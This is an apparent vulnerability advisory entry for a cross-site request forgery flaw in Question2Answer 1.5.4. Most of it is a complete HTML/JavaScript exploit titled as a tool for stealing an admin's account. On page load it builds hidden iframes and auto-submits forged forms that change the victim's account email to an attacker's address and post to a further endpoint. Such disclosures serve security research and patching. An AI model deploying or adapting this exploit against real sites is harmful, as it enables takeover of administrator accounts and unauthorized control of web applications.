source: https://www.securityfocus.com/bid/58414/info Question2Answer is prone to a cross-site request-forgery vulnerability. Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible. Question2Answer 1.5.4 is vulnerable; other versions may also be affected. <html> <head> <title>Exploit for stealing admin's account in Question2Answer. Made by MustLive. http://www.example.com</title> </head> <body onLoad="StartCSRF()"> <script> function StartCSRF() { for (var i=1;i<=2;i++) { var ifr = document.createElement("iframe"); ifr.setAttribute('name', 'csrf'+i); ifr.setAttribute('width', '0'); ifr.setAttribute('height', '0'); document.body.appendChild(ifr); } CSRF1(); setTimeout(CSRF2,1000); } function CSRF1() { window.frames["csrf1"].document.body.innerHTML = '<form name="hack" action="http://www.example.com/account"; method="post">n<input type="hidden" name="handle" value="test">n<input type="hidden" name="email" value="email () attacker com">n<input type="hidden" name="messages" value="1">n<input type="hidden" name="mailings" value="1">n<input type="hidden" name="field_1" value="test">n<input type="hidden" name="field_2" value="test">n<input type="hidden" name="field_3" value="test">n<input type="hidden" name="dosaveprofile" value="1">n</form>'; window.frames["csrf1"].document.hack.submit(); } function CSRF2() { window.frames["csrf2"].document.body.innerHTML = '<form name="hack" action="http://www.example.com/attack.php"; method="post">n<input type="hidden" name="do" value="1">n</form>'; window.frames["csrf2"].document.hack.submit(); } </script> </body> </html>